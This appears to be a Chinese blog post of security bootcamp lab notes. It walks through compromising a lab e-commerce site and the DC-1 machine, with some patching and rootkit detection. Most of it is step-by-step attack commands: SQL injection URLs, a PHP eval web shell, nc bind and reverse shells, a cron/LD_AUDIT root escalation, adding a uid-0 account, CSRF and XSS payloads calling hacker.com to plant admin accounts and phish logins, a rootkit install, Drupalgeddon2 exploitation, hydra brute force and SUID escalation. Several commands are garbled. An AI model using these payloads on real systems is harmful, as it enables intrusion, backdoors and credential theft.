Administrator
发布于 2025-01-21 / 20 阅读
0
0

网安联·红蓝队种子选手—训练营实操

电子商务(day1)

sql注入

1黑客访问目标网站http://www.ec.com/shop/

http://www.ec.com/shop/goods.php?id=9' 返回错误信息

从返回的错误信息可以看到后台使用的是MySQL数据库,并暴露了当前查询数据表及相关字段信息。

发现sql注入漏洞

3构造union查询

http://www.ec.com/shop/goods.php?id=9'unionselect1,2,3,4,5,6,7,8,9,'10

之所以构造10个字段的union查询是因为,从上面的报错信息可以知道目标数据表查询出的字段个数为10个。返回结果图中从左边的“相同外观样式的商品”可以看出union查询的结果显示在第三个商品的位置,

其中union查询的1,2,3,4,5,6,7,8,9,10十个数字的2与6出现在目标页面上。这样我们就可以继续构造union查询语句,试图将管理员密码哈希显示出来。

构造union查询语句,如果把2数字换成password字段则会显示密码

浏览器输入命令:http://www.ec.con/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs admin_userwhereuser_name='adnin

可看到管理员admin的密码哈希值(32位长度),不过只显示前7位。

由于密码显示不全,所以采用musql substrinq函数技巧,将其余部分逐渐显示出来,依次执行以下语句即可:

4构造获取管理员密码的union查询

http://www.ec.com/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs_admin_userwhere user_name='adnin 即可看到管理员admin的密码哈希值(32位长度),不过只显示前7位

解释:表示对password字段从第8位开始取值,向后取七位

可以采用mysql substring函数技巧,将其余部分逐渐显示出来,依次执行以下语句即可:

获得的管理员密码完整MD5值为:7fef6171469e80d32c0559f88b377245

破解密码哈希

http://cmd5.com上查询该密码哈希得到明文为admin88

地址:http://www.ec.com/shop/admin 用户名:admin

密码:admin888

在左侧“菜单”的“数据库管理”的“SQL查询”可以看到后台具备直接执行SQL语句的功能。

执行SQL语句:select user();

得到root@localhost,说明数据库连接权限是root权限,那么黑客就可以通过MySQL读写文件。

读取Apache默认配置文件执行命令:select load_file('/etc/apache2/sites-available/default');

解释:load_file是MySQL的内置函数,可以读取本地文件,该文件为Apache2的站点默认配置文件,从该文件的内容中就可以得到目标站点的本地路径信息。目标web的本地路径为/uar/www/

上传PHP一句话木马到服务器上:select'<?php eval($_POST[c])?>'into outfile'/var/www/shop/data/tinydoor.php';

得到一句话木马http://www.ec.com/shop/data/tinydoor.php

使用一句话木马客户端

桌面\ec\工具\index.htm查看相关信息

后门地址:http://www.ec.com/shop/data/tinydoor.php 后门密码:c

使用一句话木马客户端提交提权文件

桌面\ec\工具\tiquan.php

在浏览器执行如下提权指令

http://www.ec.com/shop/data/tiquan.php?c=echo'/bin/nc-1-p79-e/bin/bash'>/tmp/exploit.sh;/bin/chmod0744 /tmp/exploit.sh;

unask0;LD_AUDIT="libpcprofile.so"PCPROFILE_OUTPUT="/etc/cron.d/exploit"ping;echo'*/1****root/tmp/exploit.sh'>/etc/cron.d/exploit

该指令会在目标机器上打开nc后门,nc会监听本机79端口等待远程连接。

15、打开命令行,将桌面—ec—工具目录下的nc.exe文件拖拽到命令行里,然后输入:www.ec.com 79注意空格,回车后,任意打llinux命令,如Ls命令,则会显示当前目录下有哪些文件。

/usr/sbin/useradd -m-s /bin/bash app1-g root -o-u0;echo app1:app1|/usr/sbin/chpasswd 当执行该指令后,就在目标机器上添加用户名app1,密码app1的root权限账号。

17、用puty工具连接服务器,到此,我们已经成功入侵服务器了,并增加了app1账号,但是现在我们是从外网向服务器去连接,如果服务器有防火墙,我们是没有办法这样连接,所以需要另一种方式,让服务器主动去连接

添加反向连接后门命令,在浏览器输入如下地址

19.添加反向后门后,我们需要在本机上监听自己的口就可以连接到远程服务器了,因为我们添加了反向后门木马程序,让服务器主动连接我们

将桌面-ec-工具目录下的nc.exe文件拖拽到命令行里,然后输入命令:-l -p 99,在任意输入linux命令验证是否成功登录。这里需要等待1分钟才有反应。

20、不完全修补SQL注入漏洞

该SQL注入的发生是因为过滤不严导致黑客可以执行任意SQL语句。修补方法主要是判断提交参数值是否包含union、select、and、where等关键词。上传SQL注入过滤文件

修补文件在:桌面\ec\工具\sql\第一次修补之后的文件,将目录里所有文件上传到/var/www/shop/includes/下。

输入注入语句在浏览器中执行:

http://www.ec.com/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs_admin_userwhere user_name='admin 测试成功能够过滤注入语句

成功

23、完善SQL注入过滤代码

这里如果仅仅判断小写的情况,只要SQL注入语句大写就可以容易就被绕过。继续上传SQL注入过滤文件

和前面操作一样,使用ftp连接工具连接服务器,\桌面\ec\工具\sqI\完美修补中找到并上传SQL注入过滤文件sql_filter_0.php到/var/wmw/shop/includes/下 (注:文件记得改名,sql_filter_1.php改为sql_filter_0.php)

24、再次进行测试,考虑到有’和大小写问题,

输入注入语句编写的URL:

http://www.ec.com/shop/goods.php?id=9'Unionselect1,password,3,4,5,6,7,8,9,10 fr0mecs_admin_user wHere user_name='admin 测试后发现能够成功过滤注入语句

SCRF攻击

实验前先改文件,目标文件:c:\AppServ\www\csrf\sql2shell.htm

将该文件中的IP地址:192.168.37.130替换为www.ec.com

使用putty登录www.ec.com

进入/var/www/shop/data目录下

删除tinydoor.php和tiquan.php文件

2、登录网址http://www.ec.com/shop/

利用留言板进行留言。写入用迷惑信息来欺骗管理员访问带有CSRF攻击代码的连接。留言内容如下:你好,我通过google搜索找到你的网站,但是谷歌提示你的网站有恶意,好像被挂马了(atarget="blankhref=http://www.hacker.com:8080/csrf/google.htm>http://ww.google.com.hk/interstitial?url=http://ww.ec.com</a)

3、管理员查看会员留言时如果没注意连接地址查看该留言时就会触发CSRF代码,由于此时管理员处于登录状态,并且网站没有进行CSRF攻防,则CSRF攻击可以成功。

4、打开连接时,管理员将看到伪造的google提示界面,此时服务器已经被执行了sql语句上传了一句话本马。

进入/var/ww/shop/data目录下,可以看到新上传的后门文件。

总结:CSRF漏洞原因是没有进行对请求来源(referer)做判断,只需要进行严格的referer判断或加入随机

上传SQL注入过滤文件

修补文件在:桌面\ec\工具\csrf\被加固完美的\init.php,将目录里的文件上传到/var/www/shop/admin/includes目录下

6、管理员登录管理后台再次点击留言,网页会直接跳转到管理后台登录页面,并且也不会在出现google提示

此时服务器后台就不会被上传tinydoor.php木马文件

rootkit后门

利用ftp工具上传rootkit后门程序,

IP地址:202.1.160.11用户名:root

密码:toor

程序在桌面\ec\工具\rootkit自录下,将ddrk.tar和rkhunter-1.3.8.tar.gz上传到目标服务器中

2、解压ddrk.tar文件

命令:tarxfddrk.tar cd ddrk

./setup qwe123 37777

运行./setup qwe12337777添加后门,qwe123代表密码,可以任意指定,3777代表rootkit后门的端口,也可以根据实际情况更改,只要不与系统冲突即可。

3、安装好rootkit后门后利用ssh工具登录验证,输入目标ip地址及rootkit后门端口号3777,密码是qwe123。

登录后使用netstat—antp命令,发现该后门连接并没有显示。

4、可以使用rkhunter进行rootkit后门的查找与取证

命令:cd /root

tar xzf rkhunter-1.3.8.tar.gz/解压,生成rkhunter-1.3.8/

目录 cd rkhunter-1.3.8/

./installer.sh --install //安装rkhunter

5、安装成功后,输入rkhunter—check命令即可进行完整的rootkit检测流程

6、检测完毕后,会生成详细的检测日志到目录的文件:/var/log/rkunter.log,分析这些就能发现并取证这些rookit后门。

cat /var/log/rkunter.log

xss攻击

实验前先修改文件,在黑客机中,将以下文件进行修改。

c: \AppServ\www\phish\shop login.php c: \AppServ\www\phish\shop_login.htm 把IP地址:192.168.37.130全部替换为www.ec.com

2、发现留言板存在存储型XSS漏洞“留言内容”为:

我买红米Note10这款<scriptsrc=http:/www.hacker.com:8080/xss/inj.js></script>,买不成功,莫非没货了?

3、通过管理员登录后台,“菜单”—“会员管理”—“会员留言”里可以查看用户留言,管理员查看留言具体内容时,跨站攻击发生。

4、管理后台被自动添加一个管理员账号:admin1,密码为hacker123。

5、此时黑客就可以通过增加的admin1账号,默认密码为hacker123,登录管理员后台进行任意操作

6、钓鱼攻击实验

黑客提交包含跨站钓鱼的留言,并且在提交的留言中包含了跨站代码,这个跨站会进行一次钓鱼攻击。内容为:我上个星期在你们这里买的索爱读卡器,

<scriptsrc=http:/www.hacker.com:8080/phish/inj.php></script>让朋友也看了看,确认是不能用!怎么回事?

7、当管理员登录后台查看“会员留言”时,管理员看到了黑客的的留言。管理员查看邮件后,弹出如下警告信息“请求超时,请重新登录。

8、点击“确定”后,页面跳转到登录界面其实该界面是个钓鱼界面,与真正的管理后台登录界面一模一样,就连地址栏的地址也是目标网站的地址。欺骗性非常高。这里需要注意的是不要使用FireFox查看。

9、黑客查看记录盗取数据的页面地址

http://www.hacker.com: 8080/phish/data.html

可以看到刚刚盗取的电子商务网站的管理员账号和密码

13、漏洞修补:把留言内容进行html编码输出,留言器就不会当成标签输出。修补文件在:桌面\ec\工具\xss\修补后的文档,将目录里的文件上传到/uar/ww/shop/temp/compiled/admin目录下

14、管理员修补漏洞并清空cookie后,重新查看留言,此时这条留言被编码输出,显示在留言中,此时没有发生钓鱼攻击,修补成功。

总结:使用火狐浏览器,不能钓鱼成功,原因是火狐自带了安全组件,禁止了script,如果需要攻击成功,需要禁掉相关组件,点击火狐浏览器一“工具”一“附加组件”,将Moscript禁用,然后重启浏览器。该实验只能成功1次,想要重现该情况,需要删除钓鱼者留下的cookie

漏洞原因:

由于管理员查看留言的界面没有对用户提交的内容进行编码输出。当管理员点击一次留留言后,则会生成一个cookie字段,并标志为1,当管理员在差查看留言,则脚本会判断该字段是否存在,如果cookie存在就不在钓鱼,避免重现钓鱼现象,而引起管理员怀疑。判断是否被钓鱼,需要先清空浏览器缓存,当再次访问该页面时,如果再次出现重新登录界面则表示被钓鱼攻击。

day2

DC-1

信息收集

1、获取到靶场的IP地址后,使用攻击机kali自带的Namp工具,扫描DC—1靶场的端口开放情况。命令:nmap -sV- p- 202.1.80.11

2、我们可以看到DC—1是开放了80端口的,在使用指纹识别工具扫描DC—1靶场。

3、可以看到http返回的访问状态码为200,表示DC—1靶场的http可以正常访问的,我们使用浏览器访问DC—1靶场。

4、可以得到信息CMS是Drupal,我们在网上漏扫Drupal CMS,发现为统用的模板。

5、一般统用模板为漏洞攻击的重灾区,我们在网上搜索drupal漏洞,查看是否存在可利用的漏洞。

漏洞利用

1、我们得知DC—1靶场存在drupal漏洞,我们使用登录工具连接kali地址:202.1.80.17账号:root密码:123456,连接kali后打开Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一)

命令: msfconsole

2、使用命令drupal相关的模块。命令:search drupal|

3、我们尝试利用这个远程执行漏洞。

命令:use exploit/unix/ webapp/ drupal_ drupalgeddor2

4、使用命令查看利用该模块需要配置的参数,Current Setting是目前设置的内容,Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置。命令: options

5、我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)。

6、我们再次查看需要配置的参数,已经配置完成。命令: options

7、可以看到RHOSTS已经设置完成,我们设置好参数后开始攻击,出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦。命令:run

我们输入命令获取交互行shell,然后执行ls命令

9、我们可以利用python实现交互shell,查看方便一点。

命令: python -c 'import pty; pty. spawn("/bin/bash")"

10、我们输入命令查这个shell的权限只是普通权限,不过还是可以查看文件的,我们查看当前目录下的flagl.txt文件。命令:whoami

命令:cat flag1.txt

11、我们查看flag1.txt文件得到信息,每一个好的CMMS都需要一个配置文件,所以我们需要找到CMS的配置文件,由于drupal为网站模板我们在网上搜索“drupal配置文件”可以看到Drupal安装配置文件通常是一个名为“settings.php”的文件。

12、我们使用命令查找名为“ settings.php”的文件,并查看。命令:cat`find/-name settings.php

13、我们看到配置文件中存在数据库信息,可以使用数据库账号密码登录数据库。命令: mysql- udbuser - pROck3t

14、我们查看数据库,并进入数据库。命令:show databases;

命令:use drupal db;

15、使用命令查看数据库drupaldb里面的表名。

命令: show tables;

16、在数据库中找到了一个名为users的表,猜测可能存在数据库用户的账号密码,查看表中使有内容。命令: select*from users

17、发现了admin(默认管理员账号),但是密码是经过加密的,可以看出明显不是正常的md5加密方式,这里查看Drupal存储的加密格式。

drupal官网上找到了 druple密体位应 /script assword-hash. sh(后运出数据库之后使用fin函数查我 password-hash. st件,因为无法破解 所有只能将密码替换为我们自己设置的密码,我们进入/var/www/scripts/。

18、我们查看密码加密脚本。

命令:cat password-hash.sh

19、我们回到www目录下,然后使用scripts/password-hash.sh进行调用。 命令:cd.

命令:php /var/ww/ scripts/ password-hash.sh 123456789

20、我们再次登录数据库,将加密之后的密码替换掉admin账号原来的密码。

命令: mysql - udbuser - pROck3t 命令:use drupal db;

命令 updat user st pass- $S$DoMye14AR( jKiLPfRlr AnIDEqV995 DzZEiiGRSaNwpb3E here uid- 1

21、我们再次查看users的表,发现已经替换完成。命令: select*from users;

22、我们访问DC—1靶场,使用账号: admin,和刚刚替换的密码: 123456789登录。

23、登陆后我们点击content,可以看到flag3点击查看。

24、我们查看flag3内容,提示我们查看passwd和shadow文件。

linux的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。而/etc/shadow文件正如他的名字一样,它是passwd文件的一个影子,/etc/shadow文件中的记录行与/etc/passwd中的一一对应,由pwconv命令根据/etc/passwd中的数据自动产生。但是/etc/shadow文件只有系统管理员才能够进行修改和查

26、我们根据flag3的提示查看/etc/passwd文件。 命令:cat/etc/ passwd

27、此时我们需要获取flag4账号的密码,我们在信息收集阶段发现CD—1靶场的ssh端口22是开放的,我们可以利用hydra工具针对ssh协议对flag4账号进行爆破。命令:hydra-1 flag4 -P /usr/share/wordlists/rockyou.txt ssh:/202.1.80.11

28、我们获取flag4密码:orange后,使用ssh协议远程连接DC—1靶场。命令:ssh flag4@202.1.80.11

密码:orange

29、我们根据/etc/passwd中查看的flag4账号家目录在/home/flag4,我们进入/home/flag4目录查看,发现glag4.txt查看其内容。 命令:cd/home/flag4

命令:ls

命令:cat flag4.txt

30、我们根据flag4的提示,我们需要进入DC—1的/root目录,但由于当前shell为普通用户权限没法进入root目录。命令:cd/root

31、我们需要给shell进行提权,让我们有权利进入root目录,这里我们采用SUID提权,是一种在Linux/Unix系统中给予文件的特殊类型的文件权限。当一个程序运行时,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。

用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

ID提权简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了

32、我们使用命令搜索查具有SUID权限的可执行二进制文件。命令:find /-perm-u=s-type f 2>/dev/null

33、我们可以看到find也具有suid权限,我们使用命令确认一个find命令的权限。命令:ls- al /usr/bin/find

34、我们回到用户的家目录创建一个文件,来完成提权操作。命令:cd

命令:touch666

命令:find/-name 666-exec"/bin/sh"\;

35、获得管理员权限后,我们进入root目录查看。命令:cd/root

命令:ls

36.我们发现thefinalflag.txt,使用命令查看文件,发现为flag5,至此我们已经完成DC—1靶场。命令:

cat thefinalflag. txt


评论